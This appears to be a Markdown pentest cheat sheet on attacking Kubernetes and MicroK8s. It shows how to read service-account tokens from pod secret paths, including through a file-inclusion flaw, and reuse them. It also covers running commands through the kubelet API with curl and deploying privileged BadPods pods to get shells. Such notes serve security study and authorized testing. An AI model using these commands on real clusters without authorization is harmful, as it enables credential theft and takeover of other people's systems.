97 lines
2.3 KiB
Markdown
97 lines
2.3 KiB
Markdown
## Kubernetes Enumeration
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## Kubectl
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* Get pods, `-A` for all namespaces
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```sh
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kubectl get pods -A
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```
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* Check mounted secret
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```sh
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kubectl auth can-i --list
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kubectl get secrets
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kubectl get nodes
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kubectl get deployments
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kubectl get services
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kubectl get ingress
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kubectl get jobs
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```
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* Intel about a secret, and output
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```sh
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kubectl describe secrets <secret>
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kubectl get secret <secret> -o json
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kubectl describe secrets <secret> -o 'json'
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```
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### Abuse Token
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* Inside a pod the service token(jwt) can be found under `/var/run/secrets/kubernetes.io/serviceaccount/token`
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* By change of an LFI extract the token and
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```sh
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kubectl auth can-i --list --token=$TOKEN
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kubectl get pods --token=$TOKEN
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kubectl exec -it <pod name> --token=$TOKEN -- /bin/sh
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```
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* __Do not copy the token around, it will end in a carfuffle of some truncated string most of the time. Just do it in the following way and spare the pain for another day__
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```
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TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
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```
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#### Elevate Permissions with found token
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* If a token has been found but its permissions on other containers can not be used through kubectl directly, use curl
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```sh
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curl -k -H "Authorization: Bearer $TOKEN" --data "cmd=id" https://$K8_IP:10250/run/$NAMESPACE/$POD/$CONTAINER
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```
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* Find namespace and pods
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```sh
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kubectl get pods -A
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```
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* Find name of container inside the pod description under `ContainerStatuses/name`
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```sh
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kubectl get pod $POD -n $NAMESPACE -o yaml
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```
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* Interesting find in any high priv container are
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```sh
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/run/secrets/kubernetes.io/serviceaccount/token
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/run/secrets/kubernetes.io/serviceaccount/ca.crt
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```
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* Enumerate again with the new found token
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```sh
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kubectl auth can-i --list
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```
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### Create Pods
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* Use [BishopFox's BadPods](https://github.com/BishopFox/badPods.git)
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* If there is no internet connection add `imagePullPolicy: IfNotPresent` to the YAML file
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```sh
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kubectl apply -f pod.yml --token=$TOKEN
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```
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* Start Pod
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```sh
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kubectl exec -it everything-allowed-exec-pod --token=$TOKEN -- /bin/bash
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```
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### Start Pods
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```sh
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kubectl exec -it <podname> -n <namespace> -- /bin/bash
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```
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## Microk8s
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* [microk8s repo](https://github.com/ubuntu/microk8s)
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### Enumeration
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```sh
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microk8s kubectl get nodes
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microk8s kubectl get services
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microk8s kubectl get pods
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microk8s kubectl get deployments -o wide
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microk8s kubectl cluster-info
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```
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